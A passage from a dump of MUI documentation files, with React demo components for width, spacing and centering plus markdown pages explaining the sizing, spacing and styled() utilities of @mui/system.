    "content": "import Box from '@mui/material/Box';\n\nexport default function Width() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          width: '25%',\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 25%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '50%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 50%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '75%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 75%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '100%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 100%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: 'auto',\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width auto\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/sizing/Width.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Width() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          width: '25%',\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 25%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '50%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 50%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '75%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 75%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '100%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 100%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: 'auto',\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width auto\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/sizing/sizing.md",
    "content": "# Sizing\n\n<p class=\"description\">Easily make an element as wide or as tall (relative to its parent) with the width and height utilities.</p>\n\n## Supported values\n\nThe sizing properties: `width`, `height`, `minHeight`, `maxHeight`, `minWidth`, and `maxWidth` are using the following custom transform function for the value:\n\n```js\nfunction transform(value) {\n  return value <= 1 && value !== 0 ? `${value * 100}%` : value;\n}\n```\n\nIf the value is between (0, 1], it's converted to percent.\nOtherwise, it is directly set on the CSS property.\n\n{{\"demo\": \"Values.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ width: 1/4 }}> // Equivalent to width: '25%'\n<Box sx={{ width: 300 }}> // Numbers above 1 are treated as pixel values.\n<Box sx={{ width: '75%' }}> // String values are used as raw CSS.\n<Box sx={{ width: 1 }}> // 100% -- numbers in the range `(0, 1]` are treated as percentage values from 0 to 100%.\n```\n\n## Width\n\n{{\"demo\": \"Width.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ width: '25%' }}>…\n<Box sx={{ width: '50%' }}>…\n<Box sx={{ width: '75%' }}>…\n<Box sx={{ width: '100%' }}>…\n<Box sx={{ width: 'auto' }}>…\n```\n\n### Max-width\n\nThe max-width property allows setting a constraint on your breakpoints.\nIn this example, the value resolves to [`theme.breakpoints.values.md`](/material-ui/customization/default-theme/?expand-path=$.breakpoints.values).\n\n```jsx\n<Box sx={{ maxWidth: 'md' }}>…\n```\n\n## Height\n\n{{\"demo\": \"Height.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ height: '25%' }}>…\n<Box sx={{ height: '50%' }}>…\n<Box sx={{ height: '75%' }}>…\n<Box sx={{ height: '100%' }}>…\n```\n\n## API\n\n```js\nimport { sizing } from '@mui/system';\n```\n\n| Import name | Prop        | CSS property | Theme key                                                                                                |\n| :---------- | :---------- | :----------- | :------------------------------------------------------------------------------------------------------- |\n| `width`     | `width`     | `width`      | none                                                                                                     |\n| `maxWidth`  | `maxWidth`  | `max-width`  | [`theme.breakpoints.values`](/material-ui/customization/default-theme/?expand-path=$.breakpoints.values) |\n| `minWidth`  | `minWidth`  | `min-width`  | none                                                                                                     |\n| `height`    | `height`    | `height`     | none                                                                                                     |\n| `maxHeight` | `maxHeight` | `max-height` | none                                                                                                     |\n| `minHeight` | `minHeight` | `min-height` | none                                                                                                     |\n| `boxSizing` | `boxSizing` | `box-sizing` | none                                                                                                     |\n"
  },
  {
    "path": "docs/data/system/spacing/HorizontalCentering.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function HorizontalCentering() {\n  return (\n    <div>\n      <Box\n        sx={(theme) => ({\n          mx: 'auto',\n          width: 200,\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Centered element\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/spacing/HorizontalCentering.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function HorizontalCentering() {\n  return (\n    <div>\n      <Box\n        sx={(theme) => ({\n          mx: 'auto',\n          width: 200,\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Centered element\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/spacing/SpacingDemo.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function SpacingDemo() {\n  return (\n    <div>\n      <Box\n        sx={(theme) => ({\n          p: 1,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        p: 1\n      </Box>\n      <Box\n        sx={(theme) => ({\n          m: 1,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        m: 1\n      </Box>\n      <Box\n        sx={(theme) => ({\n          p: 2,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        p: 2\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/spacing/SpacingDemo.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function SpacingDemo() {\n  return (\n    <div>\n      <Box\n        sx={(theme) => ({\n          p: 1,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        p: 1\n      </Box>\n      <Box\n        sx={(theme) => ({\n          m: 1,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        m: 1\n      </Box>\n      <Box\n        sx={(theme) => ({\n          p: 2,\n          bgcolor: 'grey.50',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        p: 2\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/spacing/spacing.md",
    "content": "# Spacing\n\n<p class=\"description\">A wide range of shorthand responsive margin and padding utility classes to modify an element's appearance.</p>\n\n## Notation\n\nThe space utility converts shorthand margin and padding props to margin and padding CSS declarations. The props are named using the format `{property}{sides}`.\n\nWhere _property_ is one of:\n\n- `m` - for classes that set _margin_\n- `p` - for classes that set _padding_\n\nWhere _sides_ is one of:\n\n- `t` - for classes that set _margin-top_ or _padding-top_\n- `b` - for classes that set _margin-bottom_ or _padding-bottom_\n- `l` - for classes that set _margin-left_ or _padding-left_\n- `r` - for classes that set _margin-right_ or _padding-right_\n- `x` - for classes that set both _\\*-left_ and _\\*-right_\n- `y` - for classes that set both _\\*-top_ and _\\*-bottom_\n- blank - for classes that set a margin or padding on all 4 sides of the element\n\n## Transformation\n\nDepending on the input and the theme configuration, the following transformation is applied:\n\n- input: `number` & theme: `number`: the prop value is multiplied by the theme value.\n\n```jsx\nconst theme = {\n  spacing: 8,\n}\n\n<Box sx={{ m: -2 }} /> // margin: -16px;\n<Box sx={{ m: 0 }} /> // margin: 0px;\n<Box sx={{ m: 0.5 }} /> // margin: 4px;\n<Box sx={{ m: 2 }} /> // margin: 16px;\n```\n\n- input: `number` & theme: `array`: the prop value is used as the array index.\n\n```jsx\nconst theme = {\n  spacing: [0, 2, 3, 5, 8],\n}\n\n<Box sx={{ m: -2 }} /> // margin: -3px;\n<Box sx={{ m: 0 }} /> // margin: 0px;\n<Box sx={{ m: 2 }} /> // margin: 3px;\n```\n\n- input: `number` & theme: `function`: the function is called with the prop value.\n\n```jsx\nconst theme = {\n  spacing: value => value * 2,\n}\n\n<Box sx={{ m: 0 }} /> // margin: 0px;\n<Box sx={{ m: 2 }} /> // margin: 4px;\n```\n\n- input: `string`: the prop value is passed as raw CSS value.\n\n```jsx\n<Box sx={{ m: '2rem' }} /> // margin: 2rem;\n<Box sx={{ mx: 'auto' }} /> // margin-left: auto; margin-right: auto;\n```\n\n## Example\n\n{{\"demo\": \"SpacingDemo.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ p: 1 }}>…\n<Box sx={{ m: 1 }}>…\n<Box sx={{ p: 2 }}>…\n```\n\n## Horizontal centering\n\nThe CSS flex and grid display properties are often used to align elements at the center.\nHowever, you can also use `margin-left: auto;`, `margin-right: auto;`, and a width for horizontally centering:\n\n{{\"demo\": \"HorizontalCentering.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ mx: 'auto', width: 200 }}>…\n```\n\n## API\n\n```js\nimport { spacing } from '@mui/system';\n```\n\n| Import name | Prop | CSS property                    | Theme key                                                                    |\n| :---------- | :--- | :------------------------------ | :--------------------------------------------------------------------------- |\n| `spacing`   | `m`  | `margin`                        | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `mt` | `margin-top`                    | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `mr` | `margin-right`                  | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `mb` | `margin-bottom`                 | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `ml` | `margin-left`                   | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `mx` | `margin-left`, `margin-right`   | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `my` | `margin-top`, `margin-bottom`   | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `p`  | `padding`                       | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `pt` | `padding-top`                   | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `pr` | `padding-right`                 | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `pb` | `padding-bottom`                | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `pl` | `padding-left`                  | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `px` | `padding-left`, `padding-right` | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n| `spacing`   | `py` | `padding-top`, `padding-bottom` | [`spacing`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n\n_Some people find the prop shorthand confusing, you can use the full version if you prefer:_\n\n```diff\n-<Box sx={{ pt: 2 }} />\n+<Box sx={{ paddingTop: 2 }} />\n```\n\n```diff\n-<Box sx={{ px: 2 }} />\n+<Box sx={{ paddingX: 2 }} />\n```\n"
  },
  {
    "path": "docs/data/system/styled/BasicUsage.js",
    "content": "import { styled } from '@mui/system';\n\nconst MyComponent = styled('div')({\n  color: 'darkslategray',\n  backgroundColor: 'aliceblue',\n  padding: 8, // will be converted to `8px`\n  borderRadius: 4, // will be converted to `4px`\n});\n\nexport default function BasicUsage() {\n  return <MyComponent>Styled div</MyComponent>;\n}\n"
  },
  {
    "path": "docs/data/system/styled/BasicUsage.tsx",
    "content": "import { styled } from '@mui/system';\n\nconst MyComponent = styled('div')({\n  color: 'darkslategray',\n  backgroundColor: 'aliceblue',\n  padding: 8, // will be converted to `8px`\n  borderRadius: 4, // will be converted to `4px`\n});\n\nexport default function BasicUsage() {\n  return <MyComponent>Styled div</MyComponent>;\n}\n"
  },
  {
    "path": "docs/data/system/styled/BasicUsage.tsx.preview",
    "content": "<MyComponent>Styled div</MyComponent>"
  },
  {
    "path": "docs/data/system/styled/ThemeUsage.js",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/system';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: '#1976d2',\n      contrastText: 'white',\n    },\n  },\n});\n\nconst MyThemeComponent = styled('div')(({ theme }) => ({\n  color: theme.palette.primary.contrastText,\n  backgroundColor: theme.palette.primary.main,\n  padding: theme.spacing(1),\n  borderRadius: theme.shape.borderRadius,\n}));\n\nexport default function ThemeUsage() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <MyThemeComponent>Styled div with theme</MyThemeComponent>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/styled/ThemeUsage.tsx",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/system';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: '#1976d2',\n      contrastText: 'white',\n    },\n  },\n});\n\nconst MyThemeComponent = styled('div')(({ theme }) => ({\n  color: theme.palette.primary.contrastText,\n  backgroundColor: theme.palette.primary.main,\n  padding: theme.spacing(1),\n  borderRadius: theme.shape.borderRadius,\n}));\n\nexport default function ThemeUsage() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <MyThemeComponent>Styled div with theme</MyThemeComponent>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/styled/ThemeUsage.tsx.preview",
    "content": "<ThemeProvider theme={customTheme}>\n  <MyThemeComponent>Styled div with theme</MyThemeComponent>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/system/styled/UsingOptions.js",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/system';\n\nconst customTheme = createTheme({\n  components: {\n    MyThemeComponent: {\n      styleOverrides: {\n        root: {\n          color: 'darkslategray',\n        },\n        primary: {\n          color: 'darkblue',\n        },\n        secondary: {\n          color: 'darkred',\n          backgroundColor: 'pink',\n        },\n      },\n      variants: [\n        {\n          props: { variant: 'dashed', color: 'primary' },\n          style: {\n            border: '1px dashed darkblue',\n          },\n        },\n        {\n          props: { variant: 'dashed', color: 'secondary' },\n          style: {\n            border: '1px dashed darkred',\n          },\n        },\n      ],\n    },\n  },\n});\n\nconst MyThemeComponent = styled('div', {\n  // Configure which props should be forwarded on DOM\n  shouldForwardProp: (prop) =>\n    prop !== 'color' && prop !== 'variant' && prop !== 'sx',\n  name: 'MyThemeComponent',\n  slot: 'Root',\n  // We are specifying here how the styleOverrides are being applied based on props\n  overridesResolver: (props, styles) => [\n    styles.root,\n    props.color === 'primary' && styles.primary,\n    props.color === 'secondary' && styles.secondary,\n  ],\n})(({ theme }) => ({\n  backgroundColor: 'aliceblue',\n  padding: theme.spacing(1),\n}));\n\nexport default function UsingOptions() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <MyThemeComponent sx={{ m: 1 }} color=\"primary\" variant=\"dashed\">\n        Primary\n      </MyThemeComponent>\n      <MyThemeComponent sx={{ m: 1 }} color=\"secondary\">\n        Secondary\n      </MyThemeComponent>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/styled/UsingOptions.tsx",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/system';\n\ninterface MyThemeComponentProps {\n  color?: 'primary' | 'secondary';\n  variant?: 'normal' | 'dashed';\n}\n\nconst customTheme = createTheme({\n  components: {\n    MyThemeComponent: {\n      styleOverrides: {\n        root: {\n          color: 'darkslategray',\n        },\n        primary: {\n          color: 'darkblue',\n        },\n        secondary: {\n          color: 'darkred',\n          backgroundColor: 'pink',\n        },\n      },\n      variants: [\n        {\n          props: { variant: 'dashed', color: 'primary' },\n          style: {\n            border: '1px dashed darkblue',\n          },\n        },\n        {\n          props: { variant: 'dashed', color: 'secondary' },\n          style: {\n            border: '1px dashed darkred',\n          },\n        },\n      ],\n    },\n  },\n});\n\nconst MyThemeComponent = styled('div', {\n  // Configure which props should be forwarded on DOM\n  shouldForwardProp: (prop) =>\n    prop !== 'color' && prop !== 'variant' && prop !== 'sx',\n  name: 'MyThemeComponent',\n  slot: 'Root',\n  // We are specifying here how the styleOverrides are being applied based on props\n  overridesResolver: (props, styles) => [\n    styles.root,\n    props.color === 'primary' && styles.primary,\n    props.color === 'secondary' && styles.secondary,\n  ],\n})<MyThemeComponentProps>(({ theme }) => ({\n  backgroundColor: 'aliceblue',\n  padding: theme.spacing(1),\n}));\n\nexport default function UsingOptions() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <MyThemeComponent sx={{ m: 1 }} color=\"primary\" variant=\"dashed\">\n        Primary\n      </MyThemeComponent>\n      <MyThemeComponent sx={{ m: 1 }} color=\"secondary\">\n        Secondary\n      </MyThemeComponent>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/styled/UsingOptions.tsx.preview",
    "content": "<ThemeProvider theme={customTheme}>\n  <MyThemeComponent sx={{ m: 1 }} color=\"primary\" variant=\"dashed\">\n    Primary\n  </MyThemeComponent>\n  <MyThemeComponent sx={{ m: 1 }} color=\"secondary\">\n    Secondary\n  </MyThemeComponent>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/system/styled/UsingWithSx.js",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/system';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: '#1976d2',\n      contrastText: 'white',\n    },\n  },\n});\n\nconst MyThemeComponent = styled('div')(({ theme }) =>\n  theme.unstable_sx({\n    color: 'primary.contrastText',\n    backgroundColor: 'primary.main',\n    padding: 1,\n    borderRadius: 1,\n  }),\n);\n\nexport default function UsingWithSx() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <MyThemeComponent>Styled div with theme</MyThemeComponent>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/styled/UsingWithSx.tsx",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/system';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: '#1976d2',\n      contrastText: 'white',\n    },\n  },\n});\n\nconst MyThemeComponent = styled('div')(({ theme }) =>\n  theme.unstable_sx({\n    color: 'primary.contrastText',\n    backgroundColor: 'primary.main',\n    padding: 1,\n    borderRadius: 1,\n  }),\n);\n\nexport default function UsingWithSx() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <MyThemeComponent>Styled div with theme</MyThemeComponent>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/styled/UsingWithSx.tsx.preview",
    "content": "<ThemeProvider theme={customTheme}>\n  <MyThemeComponent>Styled div with theme</MyThemeComponent>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/system/styled/styled.md",
    "content": "# `styled()`\n\n<p class=\"description\">Utility for creating styled components.</p>\n\n## Introduction\n\nAll Material UI components are styled with the `styled()` utility.\nThis utility is built on top of the `styled()` module of `@mui/styled-engine` and provides additional features.\n\n### Import path\n\nYou can use the utility coming from the `@mui/system` package, or if you are using `@mui/material`, you can import it from `@mui/material/styles`.\nThe difference is in the default `theme` that is used (if no theme is available in the React context).\n\n```ts\nimport { styled } from '@mui/system';\n// If you are using @mui/material\nimport { styled } from '@mui/material/styles';\n```\n\n### What problems does it solve?\n\nThe utility can be used as a replacement for emotion's or styled-components' styled() utility.\nIt aims to solve the same problem, but also provides the following benefits:\n\n1. It uses a default `theme` if no theme is available in React context.\n2. It supports the theme's [`styleOverrides`](/material-ui/customization/theme-components/#theme-style-overrides) and [`variants`](/material-ui/customization/theme-components/#variants) to be applied, based on the `name` applied in the options (can be skipped).\n3. It adds support for the [the `sx` prop](/system/getting-started/the-sx-prop/) on the resulting component (can be skipped).\n4. It adds by default the `shouldForwardProp` option (that can be overridden), taking into account: `ownerState`, `theme`, `sx`, and `as`.\n\n## API\n\n### `styled(Component, [options])(styles) => Component`\n\n#### Arguments\n\n1. `Component`: The component that will be wrapped.\n2. `options` (_object_ [optional]):\n   - `options.shouldForwardProp` (_`(prop: string) => bool`_ [optional]): Indicates whether the `prop` should be forwarded to the `Component`.\n   - `options.label` (_string_ [optional]): The suffix of the style sheet. Useful for debugging.\n   - `options.name` (_string_ [optional]): The key used under `theme.components` for specifying `styleOverrides` and `variants`. Also used for generating the `label`.\n   - `options.slot` (_string_ [optional]): If `Root`, it automatically applies the theme's `variants`.\n   - `options.overridesResolver` (_(props: object, styles: Record<string, styles>) => styles_ [optional]): Function that returns styles based on the props and the `theme.components[name].styleOverrides` object.\n   - `options.skipVariantsResolver` (_bool_): Disables the automatic resolver for the `theme.components[name].variants`.\n   - `options.skipSx` (_bool_ [optional]): Disables the `sx` prop on the component.\n   - The other keys are forwarded to the `options` argument of emotion's [`styled([Component], [options])`](https://emotion.sh/docs/styled).\n\n3. `styles` (_object | `({ ...props, theme }) => object`_ [optional]): A styles object or a function returning a styles object.\n   The function receives the theme and component's props in an object which is its single argument.\n\n#### Returns\n\n`Component`: The new component created.\n\n## Basic usage\n\n{{\"demo\": \"BasicUsage.js\", \"defaultCodeOpen\": true}}\n\n## Using the theme\n\n{{\"demo\": \"ThemeUsage.js\", \"defaultCodeOpen\": true}}\n\n## Custom components\n\nThis example demonstrates how you can use the `styled` API to create custom components, with the same capabilities as the core components:\n\n{{\"demo\": \"UsingOptions.js\", \"defaultCodeOpen\": true }}\n\nIf you inspect this element with the browser DevTools in development mode, you will notice that the class of the component now ends with the `MyThemeComponent-root`, which comes from the `name` and `slot` options that were provided.\n\n<img src=\"/static/images/system/styled-options.png\" alt=\"browser DevTools showing the rendered component\" width=\"654\" height=\"258\" style=\"width: 327px\" />\n\nIn addition to this, the `color`, `sx`, and `variant` props are not propagated to the generated `div` element.\n\n## Removing features\n\nIf you would like to remove some of the MUI System specific features, you can do it like this:\n\n```diff\n const StyledComponent = styled('div', {}, {\n   name: 'MuiStyled',\n   slot: 'Root',\n-  overridesResolver: (props, styles) => styles.root, // disables theme.components[name].styleOverrides\n+  skipVariantsResolver: true, // disables theme.components[name].variants\n+  skipSx: true, // disables the sx prop\n });\n```\n\n## Create custom `styled()` utility\n\nIf you want to have a different default theme for the `styled()` utility, you can create your own version of it, using the `createStyled()` utility.\n\n```js\nimport { createStyled, createTheme } from '@mui/system';\n\nconst defaultTheme = createTheme({\n  // your custom theme values\n});\n\nconst styled = createStyled({ defaultTheme });\n\nexport default styled;\n```\n\n## Difference with the `sx` prop\n\nThe `styled` function is an extension of the `styled` utility provided by the underlying style library used – either Emotion or styled-components.\nIt is guaranteed that it will produce the same output as the `styled` function coming from the style library for the same input.\n\nThe [`sx`](/system/getting-started/the-sx-prop/) prop, on the other hand, is a new way of styling your components, focused on fast customization. `styled` is a function, while `sx` is a prop available on the components created with `styled`.\n\nTherefore, you will notice the following differences:\n\n### `sx` provides more shortcuts than `styled`\n\nWith `styled`:\n\n```js\nconst MyStyledButton = styled('button')({\n  mx: 1, // ❌ don't use this! This shortcut is only provided by the `sx` prop\n});\n```\n\nWith `sx`:\n\n```js\nimport Button from '@mui/material/Button';\n\nconst MyStyledButton = (props) => (\n  <Button\n    sx={{\n      mx: 1, // ✔️ this shortcut is specific to the `sx` prop,\n    }}\n  >\n    {props.children}\n  </Button>\n);\n```\n\n### The style definition varies slightly\n\nWith `styled`:\n\n```js\nconst MyStyledButton = styled('button')({\n  padding: 1, // means \"1px\", NOT \"theme.spacing(1)\"\n});\n```\n\nWith `sx`:\n\n```js\nimport Button from '@mui/material/Button';\n\nconst MyStyledButton = (props) => (\n  <Button\n    sx={{\n      padding: 1, // means \"theme.spacing(1)\", NOT \"1px\"\n    }}\n  >\n    {props.children}\n  </Button>\n);\n```\n\n### Patterns for how to use props differ\n\nWith `styled`:\n\n```js\nconst MyStyledButton = styled('button')((props) => ({\n  backgroundColor: props.myBackgroundColor,\n}));\n```\n\nWith `sx`:\n\n```js\nimport Button from '@mui/material/Button';\n\nconst MyStyledButton = (props) => (\n  <Button sx={{ backgroundColor: props.myCustomColor }}>{props.children}</Button>\n);\n```\n\n### Parameter when using function are different for each field\n\nWith `styled` (not recommended):\n\n```js\n// You may find this syntax in the wild, but for code readability\n// we recommend using only one top-level function\nconst MyStyledButtonPropsPerField = styled('button')({\n  backgroundColor: (props) => props.myBackgroundColor,\n});\n```\n\nWith `sx`:\n\n```js\nimport Button from '@mui/material/Button';\nimport { lighten } from 'polished';\n\nconst MyStyledButton = (props) => (\n  <Button\n    sx={{ backgroundColor: (theme) => lighten(0.2, theme.palette.primary.main) }}\n  >\n    {props.children}\n  </Button>\n);\n// Note: for direct theme access without 